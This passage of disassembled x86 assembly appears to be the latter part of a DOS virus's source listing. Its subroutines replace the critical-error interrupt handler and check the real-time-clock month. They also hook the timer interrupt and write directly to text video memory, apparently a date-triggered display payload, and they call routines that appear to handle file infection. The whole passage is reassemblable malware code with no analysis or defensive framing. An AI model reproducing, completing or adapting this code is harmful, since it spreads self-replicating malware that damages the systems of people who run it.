;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_9 proc near
loc_24:
push ds
mov si,cs:data_27
mov ax,cs:data_28
mov ds,ax
mov di,219h
lodsb ; String [si] to al
cmp al,0FFh
jne loc_25 ; Jump if not equal
add si,6
lodsb ; String [si] to al
jmp short loc_26 ; (0574)
db 90h
loc_25:
cmp al,5
jb loc_26 ; Jump if below
pop ds
stc ; Set carry flag
retn
loc_26:
mov cx,0Bh
cmp al,0
je locloop_27 ; Jump if equal
add al,40h ; '@'
stosb ; Store al to es:[di]
mov al,3Ah ; ':'
stosb ; Store al to es:[di]
locloop_27:
lodsb ; String [si] to al
cmp al,20h ; ' '
je loc_28 ; Jump if equal
stosb ; Store al to es:[di]
jmp short loc_29 ; (0594)
db 90h
loc_28:
cmp byte ptr es:[di-1],2Eh ; '.'
je loc_29 ; Jump if equal
mov al,2Eh ; '.'
stosb ; Store al to es:[di]
loc_29:
loop locloop_27 ; Loop if cx > 0
mov al,0
stosb ; Store al to es:[di]
pop ds
clc ; Clear carry flag
retn
sub_9 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_10 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
cmp byte ptr cs:data_35,0
je loc_30 ; Jump if equal
jmp short loc_31 ; (05D3)
db 90h
loc_30:
call sub_8 ; (0514)
jnz loc_31 ; Jump if not zero
call sub_2 ; (023D)
jz loc_31 ; Jump if zero
call sub_15 ; (065A)
dec byte ptr ds:data_6e
pop es
pop ds
pop di
pop si
data_35 db 5Dh
db 5Bh, 5Ah, 59h, 58h, 0C3h
loc_31:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_10 endp
db 0
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_11 proc near
push ax
push ds
pop ax
mov cs:data_28,ax
mov cs:data_27,dx
pop ax
retn
sub_11 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_12 proc near
push cs
mov al,0
out 20h,al ; port 20h, 8259-1 int command
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_3e,bx
mov bx,es
mov ds:data_2e,bx
pop es
mov si,20Ah
mov di,219h
mov cx,0Fh
locloop_32:
lodsb ; String [si] to al
add al,20h ; ' '
stosb ; Store al to es:[di]
loop locloop_32 ; Loop if cx > 0
retn
sub_12 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_13 proc near
push ax
push cs
pop ds
push cs
pop es
mov bl,data_34
cmp bl,0Ch
ja loc_34 ; Jump if above
cmp bl,0
je loc_34 ; Jump if equal
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
cmp al,0Ch
ja loc_34 ; Jump if above
cmp al,0
je loc_34 ; Jump if equal
cmp al,bl
je loc_34 ; Jump if equal
inc bl
call sub_14 ; (064F)
cmp al,bl
je loc_34 ; Jump if equal
inc bl
call sub_14 ; (064F)
cmp al,bl
je loc_34 ; Jump if equal
pop ds
call sub_16 ; (0686)
push cs
pop ds
retn
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_14:
cmp bl,0Ch
jbe loc_ret_33 ; Jump if below or =
sub bl,0Ch
loc_ret_33:
retn
loc_34:
pop ax
retn
sub_13 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_15 proc near
mov dx,673h
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
cmp byte ptr ds:[724h],43h ; 'C'
jne loc_35 ; Jump if not equal
call sub_3 ; (02AE)
jmp short loc_36 ; (0672)
db 90h
loc_35:
call sub_4 ; (0337)
loc_36:
push ds
sub_15 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; External Entry Point
;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int_24h_entry proc far
mov dx,data_33
mov ax,data_32
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
retn
int_24h_entry endp
db 0B0h, 3, 0CFh
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_16 proc near
mov dx,6B0h
mov ax,251Ch
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov byte ptr ds:data_8e,90h
nop
mov ax,0B800h
mov es,ax
data_36 db 0BFh
data_37 dw 0FA0h
db 0B8h, 20h, 7, 0B9h, 0Bh, 0
db 0F2h, 0ABh, 0Eh, 7, 0C3h, 0
db 0, 0, 20h, 7, 0Fh
db 0Ah
data_38 db 0Fh
db 0Ah
data_39 db 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h
db 0Eh, 0EEh, 0Ch, 90h, 0FBh, 50h
db 51h, 52h, 53h, 55h, 56h, 57h
db 1Eh, 6, 0Eh, 1Fh, 0EBh, 0Bh
db 90h
loc_37:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
iret ; Interrupt return
sub_16 endp
db 0B8h, 0, 0B8h, 8Eh, 0C0h, 0E8h
db 2Bh, 0, 0BEh, 9Ah, 6, 0B9h
db 16h, 0, 0F2h, 0A4h, 80h, 3Eh
db 0AEh, 6, 0EEh, 74h, 8, 0C6h
db 6, 0AEh, 6, 0EEh, 0EBh, 6
db 90h
loc_38:
mov data_38,0F0h
loc_39:
mov ax,es:[di]
mov ah,0Eh
mov data_37,ax
mov data_36,0
jmp short loc_37 ; (06D0)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_17 proc near
mov di,0
loc_40:
mov si,69Ch
push di
mov cx,12h
cld ; Clear direction
repe cmpsb ; Rept zf=1+cx>0 Cmp [si] to es:[di]
pop di
jz loc_41 ; Jump if zero
inc di
inc di
cmp di,0FA0h
jne loc_40 ; Jump if not equal
mov di,0
loc_41:
cmp di,0F9Eh
jne loc_ret_42 ; Jump if not equal
mov data_39,0CFh
loc_ret_42:
retn
sub_17 endp
db 43h, 0Ch, 0Ah
seg_a ends
end start
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